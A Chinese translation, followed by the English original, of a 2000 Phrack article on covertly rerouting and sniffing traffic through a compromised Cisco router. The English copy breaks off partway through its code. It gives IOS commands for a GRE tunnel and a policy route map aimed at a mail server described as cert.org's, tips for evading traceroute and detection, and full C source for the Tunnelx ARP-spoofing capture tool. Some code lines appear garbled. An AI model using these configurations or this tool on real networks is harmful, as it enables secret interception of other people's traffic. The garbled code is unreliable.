您的位置:首页 > 编程语言 > PHP开发

当我们完全控制CISCO路由器时能够做的事情

2004-10-27 12:17 288 查看
|------------------------------- 翻译 by mix --------------------------------|
|----------------和以前一样,我要申明一下,我不是专业的翻译员-----------------|
|---------所以我也只能够根据我自己的理解,尽量符合原文意思的进行翻译----------|
|------------有能力的朋友最好看原文,我的翻译只能作为一个参考而已-------------|
|------------翻译完后感觉基本上说清楚了这些事情,细节问题就难说了-------------|

- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]

|------------------ 当我们完全控制CISCO路由器时能够做的事情 ------------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|

v0.2 1/1/00

----| 1. 声明

隧道技术(Tunnelx)是HERT(黑客紧急事件应急小组)努力研究开发的一套技术。他不是为了任何一个攻击者或信息防卫战而做的产品工具。严格的说,这只是作理论上的研究和论证罢了。

如果你是一个未被授权者,你没有权利保留该文的任何拷贝或部分信息。如果在文件传输过程中有任何的错误出现,请发电子邮件到hert@hert.org,我们将马上给与回复。

这份文档中所表达的观点并不是HERT必要的(necessarily)观点。所有主管、官员或是职员都没有任何责任或义务来保证这份文档所述技术的准确性。

----| 2. 介绍

当我们一提到路由器,我觉得像是在超市中看见许许多多的商品,然后我就会忍不住想到疯狂的母牛疾病,狂牛病,GMO... 这使我感觉晕眩。继续查看到cisco.com网站上,显示有多少公司正在使用cisco 7500,并且数以千计机器正通过他来引导路由... 在那些路由器上,存放着很多网络的朴络图,这让我们获得了很多深入渗透的机会。在我对安全失去信心后的很长一段时间中,安全的核心问题就是我们总是信任我们首先已经得到确认的信任关系上。(阅读Ken Thomson的文章,《reflections on trusting trust》,我觉得这个意思简单的说就是:如果我首先已经和某主机建立了信任关系,此后的操作中,我将不会再次检查这台主机传过来的任何信息。)

你是否听到别人这样说过很多次:“嗨,我已经完全控制了这台cisco路由器,如果我有IOS src将更爽...我能够装木马或者做这个做那个。”你曾多少次看到人们因为拥有超级权限密码(enable password)可以做任何事情而感到高兴。对IOS src的改进有所帮助的事,一直很少被人们关心的;最少不会出现在正规bugtraq的读者中。

其实,你并不是一定需要IOS src,所有你需要的事情都在这儿,(在src里只有一点点值得高兴的事情,但是我们将在后面讨论)。当你在路由上面设置好一切的时候,你将获得建立在路由器上的嗅探。

----| 3. 揭开改变路由路径的秘密

你要做的就是改变改变路由的通道,将从目标发送的消息通过路由器发送到其他地方,然后在那里捕捉这个消息,最后将这个消息重新发送给路由器,并且保证这个过程就好像没有发生过一样。正常情况下,典型的路由配置将路由信息的过程可以用下图表示:

Internet ------------ Cisco ------------ Target
外网 Ethernet0 Serial0
Cisco路由器 目标机器

然后我们这样操作:

# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.

User Access Verification

Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)

cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#

tcpdump将不会输出任何的结果,除非你在192.168.0.1/24上面尝试着ping其他的IP。你将看到一些用GRE封装的ICMP数据包从192.168.1.1的47端口发过来。

在你的linux窗口中,确定协议(端口)47没有被防火墙阻塞,

test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C

好了,我们新的路由线路已经搭建完成。这样你就能够看到默认的GRE封装的数据传输。这里没有任何的握手连接,因为我们不是在M$的网络中使用GRE2和愚蠢的PPTP封装。

test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)

这里我们可以看到GRE封装的数据信息是非常详细的,并且cisco路由器的编码器将数据直接送到了linux这里,并没有送到这些数据该去的地方。

让我们到ftp.ee.lbl.gov去看看tcpdump的源代码。tcpdump源代码写得非常的优美;在print-gre.c文件中我们需要稍微的改动一下,用以在隧道技术实施的过程中获得更多的有用信息。

----| 4. 隧道技术 - IOS 线路改变的透明化和数据的捕捉

我初始化设定了一个基于libpcap和libnet的新的CVS tree,一些GRE头文件被tcpdump捕捉,但在短暂的休息后我决定重新整理一下,让整个过程更加简单明了的现实如下:

- 为了避免在我们进行网络欺骗(ETHER_SPOOF)时,不会产生数据风暴,我们在以太网中定义一个空的未使用 的IP地址(原文中称之为REENTRY)。
- 我们初始化设定了一个libpcap和libnet,并建立起数据链路。

- 然后我们写一个程序用来封装数据包头,让这些数据看起来就像是一个匹配GRE协议的IP数据包,并发往隧道 的出口,就像ARP响应数据包一样。

- 我们的ARP剖析器(parser)将分析它是否是来自于REENTRY的响应或者是网络欺骗(ETHER_SPOOF)送出的响 应。

- 我们的GRE剖析器(parser)将调换源数据中的相关信息,比如源IP地址、目的IP地址,并且使用 pcap_dump()记录数据包到磁盘上,然后再使ttl值加1(或更多),最后计算checksum,并使用libnet_write 将数据发送出去。

- OK,就是这样了,不要怀疑如此简单的就能够实现这一切。现在进入一个有趣的阶段,我们不得不重新设置 cisco路由器(定义一个access list用来通过我们所改变的通道的所有数据)。

telnet 192.88.115.98
...

config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z

如果,你首先将隧道建立好了,现在就可以正常使用了。通我们建立的这个access list,路由链路将不会有任何冲突显现出来。

然而在你修改cisco路由器配置的时候,你要很小心地进行。在你删除access list之前先删除route map(Remove the route map first with 'no route-map certisowned' *before* the access list,这句话我觉得我是没有翻译得完全正确的,所以大家还是看原文比较好),否则会引起数据的死循环。先在小型的cisco 1600 路由器上面实践。同样不要离路由器太远。当我们使用arp欺骗之后,人们能够从并不存在的网络主机上得到响应消息,所以我们要更加小心。

我说过在IOS src里面是有东西值得我们利用的,这就是他们的加密措施。你能够建立起加密了的隧道,使用相同的加密钥匙让出去的信息得到加密,而回送回来的信息可以正常的解密开。隧道技术(Tunnelx)也是可以这样的,你同样需要在pcap数据包头中使用加密机制,并且保证能够在数据传到后进行解密。

OH,当然,我没有解释关于pcap的任何事情,你可以写个小程序从隧道中分析pcap数据格式,注意让这个小程序能够对数据进行GER封装,并且能够为每个连接都生成地记录文件。lseek()这个函数将会是解决这个问题的关键。这篇文章不会发表在普通的bugtraq上,或者管理员拿到时,pcap数据剖析器(parser)将不会包含在内,如果你需要特别版的程序或相关技术支持的话,先寄钱给我(555 他和我要钱)。

----| 5. 问候和结局语

:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,(不知道在说什么,555)

我一直喜欢在高版本的路由软件下工作,这样才能够使我的路由欺骗劫持计划更容易实现,甚至让我感觉是在打猎时对猎物进行追踪... 不要忘记了你是在路由器上面工作,你能够做任何事情,因为所有人都默认信任你的一切:)。

----| 6. 程序代码

//我自己还没来得及编译,我虚拟机下的linux被我玩坏了~~~呵呵
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org

// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a

#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>

#define IP_UCHAR_COMP(x, y) /
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) /
((u_short)ntohs(*(u_short *)(p)))

const u_char *packetp;
const u_char *snapend;

#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};

struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;

void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];

int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;

snaplen = SNAPLEN;
printer = pcap_print;

while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}

//inet_aton (TUNNELX_REENTRY, /_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device/n");
exit (EXIT_FAILURE);
}

li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s/n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);

pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s/n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d/n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));

if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}

if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s/n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}

void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;

packetp = p;
snapend = p + caplen;

eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);

switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;

if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->

|EOF|-------------------------------------------------------------------------|

附原文如下:

- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]

|----------------- THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ----------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|

v0.2 1/1/00

----| 1. Disclaimer

Tunnelx (the code) is part of the research and development effort conducted by
HERT (Hacker Emergency Response Team). It is not a production tool for either
attack or defense within an information warfare setting. Rather, it is a
project demonstrating proof of concept.

If you are not the intended recipient, or a person responsible for delivering
it to the intended recipient, you are not authorized to and must not disclose,
copy, distribute, or retain this message or any part of it. Such unauthorized
use may be unlawful. If you have received this transmission in error, please
email us immediately at hert@hert.org so that we can arrange for its return.

The views expressed in this document are not necessarily the views of HERT.
Its directors, officers or employees make no representation or accept any
liability for its accuracy or completeness unless expressly stated to the
contrary.

----| 2. Introduction

When I think about routers in general, I feel exactly like I do when I go to
the supermarket and see all this food and then I can't stop thinking of mad
cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and
check what cisco 7500 is used for and how many corporations own them and how
many thousands of machines get routed through them... There is even a
traceroute map somewhere that can give you an idea of how deeply dependant we
are on these routers. It's been a long time since I stopped believing in
security, the core of the security problem is really because we are trusting
trust (read Ken Thomson's article, reflections on trusting trust), if I did
believe in security then I wouldn't be selling penetration tests.

How many times have you heard people saying, "Hey I 0wn this cisco, it would be
cool if I had IOS src... I could trojan and recompile it and do this and
that.", how many times have you heard of people wondering what the fuck they
could do with an enable password. The IOS src has been floating around for
quite a while now and no-one'z done anything with it yet; at least not among
the regular bugtraq letspretendtobefulldisclosure readers.

Well you don't even really need the IOS src, everything you need is already
there, (there is only one little thing that would be nice to have from the src
but we'll talk about it below). You can load up the image in IDA, nop out a
couple of instructions and the cisco's rmon implementation won't zero the
payload anymore and you have a IOS sniffer.

----| 3. Rerouting demystified

What you want to do is reroute some traffic from a router and send it to some
other place, capture it and resend it to the router and make it look like
nothing ever happened. Normal operation on a typical config will look like
this:

Internet ------------ Cisco ------------ Target
Ethernet0 Serial0

What we are going to do is:

# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.

User Access Verification

Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)

cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#

At that point tcpdump won't show any output unless you try to ping an IP on
the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets
and some icmp proto 47 unreach packet coming from 192.168.1.1.

On your linux test box, make sure you have protocol number 47 unfirewalled,

test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C

Ok our link is up. And as you can see by default GRE is really stateless.
There is no handshake, as we are not in Microsoft land with GRE2 and stupid
PPTP.

test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)

GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE
implementation source for not respecting their own RFC.

Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice;
in the file print-gre.c we have most of the info we need to start coding
tunnelx.

----| 4. tunnelx - IOS Transparent reroute and capture

I initialized a new CVS tree with libpcap and libnet, some gre header ripped
from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took
a glance at libnet's API doc and cleaned off the pizza bits and ice cream
from my fingers and decided to code something really simple and see if it
works:

- We define an unused IP address we call REENTRY and a fake ethernet address to
avoid a protocol unreachable storm that we call ETHER_SPOOF.
- We initialize libpcap and libnet and set up a pcap_loop.

- Then we make a pcap handler, which look for IP packets matching the GRE
protocol which are going to the tunnel exit point address as well as ARP
request packets.

- Our ARP parser bails out if it isn't a request for REENTRY or send a reply
with ETHER_SPOOF.

- Our GRE parser simply swaps IP and ether source and destitution, and
writes the packet to disk with pcap_dump(), increase the ttl, recompute
the checksum and flush it with libnet_write.

- That's it!!! Never would have believed it would have been so simple. Now
comes the tricky part; we have to configure the cisco correctly (define an
access list with all the stuff you want to reroute in it).

telnet 192.88.115.98
...

config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z

If you had tunnelx up and running before setting up the cisco config then it
should work now!!! And traceroute doesn't show any thing since its packets
are not matched by our access list!

BEWARE, however, when you want to disable the cisco configuration. Remove the
route map first with 'no route-map certisowned' *before* the access list
otherwise it will match all packets and they will go in an endless loop. Try
it on a small cisco 1600 before going in the wild with this stuff. Also try
not to be far away from the cisco. People can only know on which network
packets are captured not the actual host since we are arp spoofing, so take
advantage of that.

I said in the intro that some bits from IOS src would be nice to use, it
is their crypto code. You can setup an encrypted tunnel, make it use the
same key on both way so it will encrypt outgoing packets and decrypt them when
they come back. Tunnelx is just the same. You just need to add the crypto
routine in your pcap reader to make it decrypt the traffic.

Oh yes, I didn't talk about the pcap reader, you can just make a small program
that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet,
and create files for each session. lseek() is the key to do it without missing
out of order packets or getting messed up by duplicates. Since this article
is not destined for the average bugtraq or rootshell reader, the pcap dump
parser isn't included, you can send me some cash if you need a special version
of tunnelx or need technical support.

----| 5. Greeting and final words

:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,

I am already working on a new version that will let you do spoofing,
hijacking, and monitoring like in hunt... Don't forget you're on the router,
you can do everything, and everyone trusts you :).

----| 6. The code
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org

// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a

#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>

#define IP_UCHAR_COMP(x, y) /
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) /
((u_short)ntohs(*(u_short *)(p)))

const u_char *packetp;
const u_char *snapend;

#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};

struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;

void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];

int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;

snaplen = SNAPLEN;
printer = pcap_print;

while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}

//inet_aton (TUNNELX_REENTRY, /_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device/n");
exit (EXIT_FAILURE);
}

li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s/n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);

pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s/n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d/n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));

if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}

if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s/n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}

void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;

packetp = p;
snapend = p + caplen;

eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);

switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
